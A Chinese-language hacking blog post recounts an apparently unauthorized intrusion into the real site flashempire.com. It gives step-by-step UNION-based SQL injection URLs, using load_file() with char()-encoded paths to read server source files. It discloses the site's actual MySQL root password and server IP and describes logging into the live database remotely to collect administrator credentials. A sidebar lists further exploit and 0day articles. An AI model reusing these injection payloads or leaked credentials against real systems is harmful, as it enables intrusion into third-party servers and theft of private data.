今天没什么事正在几个论坛上闲逛,突然TUPUNCO 发来消息'闪客帝国主站有个地方好像有问题,你看看',然后直奔http://www.flashempire.com。
测试后发现mysql在4.0已上-支持union,如果利用成功,直接威胁到主机的安全。
入侵步骤 One
首先扫描一下flashempire.com 主机,发现一些常用端口。MySql数据库支持远程连接,整理了一下入侵思路还是重我比较熟悉得 脚本注入 下手吧。首先我们要得到web目录得路径,怎么办呢?就让它出错吧 ^_^ ,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句是小意思了。
http://www.flashempire.com/theater/top10.php?id=315 就已此为突破口
提交如下信息:
http://www.flashempire.com/theater/top10.php?id='
http://www.flashempire.com/theater/top10.php?id=
返回因为提交数据出错而爆出的路径,
再次思考了下,自己对闪客帝国的网站系统结构一无所知。就将我们的目标定位在MySql数据库,所有当前首要任务是拿到config.php中的数据库帐号 and 密码。由于闪客帝国的主站系统是自己开发的,我们无重得知其文件列表与数据结果。这里我们考虑直接读取文件,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。
当然其也有很多的限制:[php手册中的解释]
1、 欲读取文件必须在服务器上
2、 必须指定文件完整的路径名
3、 必须有权限读取并且文件必须完全可读
4、 欲读取文件必须小于 max_allowed_packet
5、 如果该文件不存在,或因为上面的任一原因而不能被读出,查询返回 NULL
首先提交如下Query:
http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,load_file('/home/flash/www/theater/theater.php'),1
返回出错信息
估计是magic_quotes_gpc = on ,过滤掉了 '号;换种方式再来一次,继续提交[char()函数]
[char()――将提交得字符转换为10进制,也可以使用SQL Encoder.exe转换为16进制得。已适应各种情况]
再次提交使用char()函数的Query:
"char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,116,104,101,97,116,101,114,47,116,111,112,49,48,46,112,104,112)"
就是"/home/flash/www/theater/theater.php"的ASCII代码"
http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,load_file(char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,116,104,101,97,116,101,114,47,116,111,112,49,48,46,112,104,112)),1
成功读出theater.php文件代码
返回成功读出theater.php文件的代码,
根据经验以及文件命名, /include/dbconnect.php就是我们的目标---存放数据库的连接信息的文件。
提交新的Query:
http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,load_file(char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,105,110,99,108,117,100,101,47,100,98,99,111,110,110,101,99,116,46,112,104,112)),1
成功读出/include/dbconnect.php文件代码
返回成功读出/include/dbconnect.php文件的代码,如下;
$conn = mysql_connect("localhost","root","flash945") or die("数据库连接失败!");
^_^,成功拿到MySql数据库帐号;密码。刚才我们扫描得知MySql允许远程连接;现在我们用PhpMyadmin登陆上看看[phpmyadmin管理mysql个人感觉更方便一些]
打开 本机得 phpmyadmin/config.inc.php 作如下修改
$cfg['Servers'][$i]['host'] = 'localhost' //localhost修改为61.156.17.126[闪客帝国服务器IP]
$cfg['Servers'][$i]['user'] = 'root'//MySql登陆帐号,不必修改
$cfg['Servers'][$i]['password'] = '';// MySql登陆密码,修改为flash945
保存后,浏览我们本机得phpmyadmin即可以管理闪客帝国得MySql数据库.
四处逛逛收集信息,发现很对该网站管理层得帐号密码。本想用社会工程学猜猜密码,单均已失败告终。天津来得朋友又打电话叫去吃火锅,本来想带MM一起去。怕回来太晚就算了。今天的入侵告一段落。
| [0day]PHPWind 5.x Exploits GUI | 04-07 | |
| dxbbs漏洞(通杀7.3以前所有版本) | 04-06 | |
| 记对一足球推荐站点的渗透 | 04-06 | |
| 注射DB_ONER权限并且主机与数据库 | 04-06 | |
| bbsxp sql最新版再爆0day? | 04-02 | |
| BBS的通杀跨站方法 | 04-02 | |
| CCTV的XSS跨站 | 03-28 | |
| 全面解析百度XSS跨站漏洞 | 03-26 | |
| Wordpress 2.1.2 以及之前版本物 | 03-26 | |
| 动易最新入侵方法 | 03-15 | |
| PJBlog漏洞利用 | 03-14 | |
| DVBBS <= 7.1.0 sp1 博客 远程注 | 03-14 | |